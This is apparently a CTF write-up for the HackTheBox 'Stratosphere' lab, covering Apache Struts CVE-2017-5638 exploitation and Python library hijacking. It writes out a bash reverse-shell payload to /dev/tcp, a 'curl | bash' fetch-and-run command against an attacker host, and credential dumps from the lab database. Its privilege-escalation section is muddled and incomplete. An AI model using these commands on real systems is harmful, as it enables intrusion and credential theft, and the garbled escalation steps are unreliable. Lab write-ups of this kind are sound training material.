> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md).

# Stratosphere HackTheBox Writeup

Stratosphere HackTheBox Medium Linux machine writeup covering Apache Struts Exploitation (CVE-2017-5638), Python Library Hijacking (Privilege Escalation), with practical enumeration, exploitation, foo

{% embed url="<https://app.hackthebox.com/machines/437>" %}

{% hint style="warning" %}
**Skills:**

* Apache Struts Exploitation (CVE-2017-5638)
* Python Library Hijacking (Privilege Escalation)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d3cdae5c75a026d36ce74b46abed3e0aeed707f%2Fimage%20(2902).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4cbded504ffcbb1b10c41ed5aed3134a917474a4%2F%7B55758936-53EA-4B91-A327-C3254EC4ACCA%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.64 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4d08454e0243825fc30e2b8d964d1e61bfd9900e%2F%7BC62FEA8F-BEBD-4877-9A8F-F581D136A474%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with ExtractPorts (**&#x32;2.80.808&#x30;**)**

Using the extractPorts function to in a concise format display open ports and copy them to the clipboard.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0ac6bab66dd6e8c7479cb0c8c031c8e8d7247f3%2F%7B67BA7538-04E1-4850-AE4A-67C144CCD61C%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port Version Scan with Nmap:**

Using Nmap to scan the version of ports and extract information in the "targeted" file

```bash
nmap -sCV -p22,80,8080 10.10.10.64 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29bee07c6f1c9f434325fe55b47efd5eea0ebd28%2F%7B86A74FBD-4E5E-4AC8-9AED-D3C902101424%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ece5dd3129009986c83eaebc581d8b8081ffcf22%2F%7B41D954D6-ADEE-408F-B7EC-6A5EB45F634E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### /*/Exploration of web services (Ports 80 and 8080) //*

Ports 80 and 8080 host the same website.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d6e7093e6f17a7be5138ec458e091b1ac95bfd7%2Fimage%20(2905).png?alt=media" alt=""><figcaption></figcaption></figure>

### Fuzzing with **Gobuster**

We launch `Gobuster` to search for interesting directories

{% code overflow="wrap" %}

```bash
gobuster dir -u http://10.10.10.64/ -b 404,400 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

{% endcode %}

We discover the following roads:

* `/manager` - Interface Tomcat Manager
* `/monitoring` - Monitoring section

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de4b8629312eb69d901704021e03624b589cb0b1%2F%7B2F68200E-1F15-43F1-A4C8-9572F3747869%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Manager - Tomcat :

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c13fd88b2d2e21080d13c6c8a6ff76766d18c63f%2F%7B1D0A485B-2336-49BA-B30F-E304C82639F0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Monitoring:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-494cd0fa3815920c7f0e6d76c0a4d4f988488a07%2F%7B4C67C974-A428-471D-A62D-E4EF632A7914%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Apache Struts Exploitation (CVE-2017-5638)

#### **Exploration of the Monitoring Directory**

By trying to register, we get an error message. We also observe an extension `.action`, potentially indicating an application based on Apache Struts

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c11e89cf7bda52ce9a0d48ee29a810fc9f519fc%2F%7B20273D54-7E9E-45FA-AA7F-526C260A48B5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mazen160/struts-pwn>" %}

We use `struts-pwn.py` to test remote command execution:

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```

Command works, confirming vulnerability.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78c58145dca9ef4143dd07b147118f15d8e9bc42%2F%7B0454A05B-892C-4307-96FA-8C9932C77B9F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Shell inverted**

1. Listening with Netcat:

```bash
nc -nvlp 443
```

2. Creating a `index.html` file containing our shell reverse:

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```

3. Hosting the file with a Python web server:

```
python3 -m http.server 8080
```

4. Run the shell reverse via exploit:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```

{% endcode %}

Unfortunately, this approach fails.

### **Sensitive Information Extraction**

We list the files on the server:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-492a68ea6cdfc46b4587d5aec723c09326ee104c%2F%7BC9C15334-D68D-4CA7-95AB-C5FF3BA963CE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We discover a `db_connect` file. By posting it, we get credentials:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6279a6cacb3de73460a521896911d70fc25f129%2F%7B32BEEAD2-623F-4433-AA0E-AB8247329423%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The information recovered from mysql credentials:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```

{% endcode %}

* user: ssn/\_admin / admin
* pass=AWs64\@on/\*& / admin

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f7ee4230177e36c31d836d9468d575f860875f0%2F%7B181FE3A3-E633-4BE4-B255-18DC1364214D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Extraction info - mysqlshow

#### **Enumeration of databases**

We use `mysqlshow` to list the databases accessible with the user `admin` by exploiting a Struts vulnerability via `struts-pwn.py`:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin"
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bccd8b3be8da54bdaee2bc44f7fb8d07bda98334%2F%7B802F7D72-B20A-49E0-B1E1-8359CEB81371%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

This allows us to identify the database **users**.

#### **Summary of tables**

Then we list the tables from the base **users**:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fa9126a24e23ad7d5dabcce69ce07a828ba5d371%2F%7B1843F9B8-C4AF-413B-9D7F-6F2F32143D08%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Enumeration of columns and extraction of credentials**

We now list the columns of the table **accounts** and try to extract its contents

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users accounts"
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb790940f36626e48347d6e5de289095bd2e777c%2F%7B73E1AE99-65F5-4389-B5A9-6548065C6767%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We obtain the following information:

* **Username**: `richard`
* **Password**: `9tc*rhKuG5TyXvUJOrE^5CK7k`

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c 'mysql -u admin -padmin -e "Select * from accounts" users'
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b57bfef7f1d01aeee058c5b61a4a9a514ab83bf2%2F%7B4F5EB68F-B655-4B17-865C-5E1441A82C07%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We use the information found to connect to SSH on the target machine:

```bash
ssh richard@10.10.10.64
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c036ff6a552612f1178682ae5c27e4916e62653d%2F%7BF1C36E50-38E8-496A-98F5-2B8ADA8558E2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bee94285023db367055855aa6c68c4ed95b56ad6%2F%7BC790783B-58F8-400E-81D6-1D6375AC5C52%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilege Escalation

### Python Library Hijacking Privilege Escalation

First, you run the following command to list the `sudo` rights:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f619a74cffea29e380d597b6404b11b2fc2d0dce%2F%7B4966A624-1275-4984-9970-5263FFB0D2DC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We note that we have permission to run a Python script as `root`:

```bash
(ALL) NOPASSWD: /usr/bin/python3.7 /home/richard/test.py
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-049a712be8147af50d7017837944ce4e0776392f%2Fimage%20(2906).png?alt=media" alt=""><figcaption></figcaption></figure>

By analyzing the `/home/richard/test.py` script, one observes that it imports a module without specifying its absolute path, for example:

```
import os
os.system("bash")
```

Then we run the script as `root`:

```bash
sudo /usr/bin/python3.7 /home/richard/test.py
```

* Once the script is launched, our malicious version of `hashlib.py` is loaded, running a shell with `root` privileges.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d9ea65d2964c242ab218aa3d99f78b970ff8cb4%2F%7BF4309C12-1280-48D9-88C6-2E1331EAE2D9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c86521844240de169e12d92ecc3a5647121d783d%2F%7B5E759E12-EA51-4B6F-8ECC-3A74F5438C60%7D.png?alt=media" alt="" width="546"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8252a3b5668aa0845db916a1866658e4534eff41%2F%7B3FAD7DA9-A5F4-4B29-8A8E-0F8743F2C948%7D.png?alt=media" alt="" width="375"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
